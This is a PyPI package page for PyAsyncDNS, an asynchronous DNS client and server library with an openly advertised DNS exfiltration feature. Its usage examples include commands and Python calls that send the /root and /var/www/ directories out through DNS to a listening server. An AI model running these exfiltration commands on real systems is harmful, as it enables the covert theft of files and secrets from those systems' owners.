Skip to main content

This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.

Project description

PyAsyncDNS Logo

PyAsyncDNS

Description

This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.

Requirements

This package require:

  • python3
  • python3 Standard Library

Installation

Pip

python3 -m pip install PyAsyncDNS

Git

git clone "https://github.com/mauricelambert/PyAsyncDNS.git"
cd "PyAsyncDNS"
python3 -m pip install .

Wget

wget https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .

cURL

curl -O https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .

Usages

Command line

PyAsyncDNS              # Using CLI package executable
python3 -m PyAsyncDNS   # Using python module
python3 PyAsyncDNS.pyz  # Using python executable
PyAsyncDNS.exe          # Using python Windows executable

PyAsyncDNS resolve example.com
PyAsyncDNS resolve example.com A
PyAsyncDNS resolve example.com AAAA --server 127.0.0.1
PyAsyncDNS resolve example.com MX --server 127.0.0.1 --port 5353
PyAsyncDNS resolve example.com NS --server 127.0.0.1 --port 5353 --udp
PyAsyncDNS resolve example.com TXT --server 127.0.0.1 --port 5353 --tcp

PyAsyncDNS server 127.0.0.1 5353
PyAsyncDNS server 127.0.0.1 5353 --zone zone_example.json

PyAsyncDNS exfiltrator-server 127.0.0.1 53

PyAsyncDNS exfiltration-client 127.0.0.1 53 /root /var/www/

Python script

from PyAsyncDNS import *
from asyncio import run

server = DNSServer(zone={"example.com":{"A":["93.184.216.34"]}}, host='127.0.0.1', port=53) # configure the server
run(server.serve_forever())                                                                 # run the DNS service forever
run(query("example.com", "A", '127.0.0.1', 53))                                             # query IPv4 address for example.com name 

run(start_exfiltrator_server('127.0.0.1', 53))                # start server to save exfiltrated files
run(process_directories('/root', "127.0.0.1", 53))            # exfiltrate /root directories through DNS to 127.0.0.1:53 using UDP

Links

License

Licensed under the GPL, version 3.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pyasyncdns-1.0.0.tar.gz (34.0 kB view details)

Uploaded Source

File details

Details for the file pyasyncdns-1.0.0.tar.gz.

File metadata

  • Download URL: pyasyncdns-1.0.0.tar.gz
  • Upload date:
  • Size: 34.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.12

File hashes

Hashes for pyasyncdns-1.0.0.tar.gz
Algorithm Hash digest
SHA256 379e299887712e67a6f5b02d90b0be07d0c9bcb95ad3542a35a5830acaec079d
MD5 c2e63f58d519e587dfcd86001a1a770a
BLAKE2b-256 e2ee0a91d8599fb4192af7b7546f76acd56a7534213a9389b2c3ca741ba2b760

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page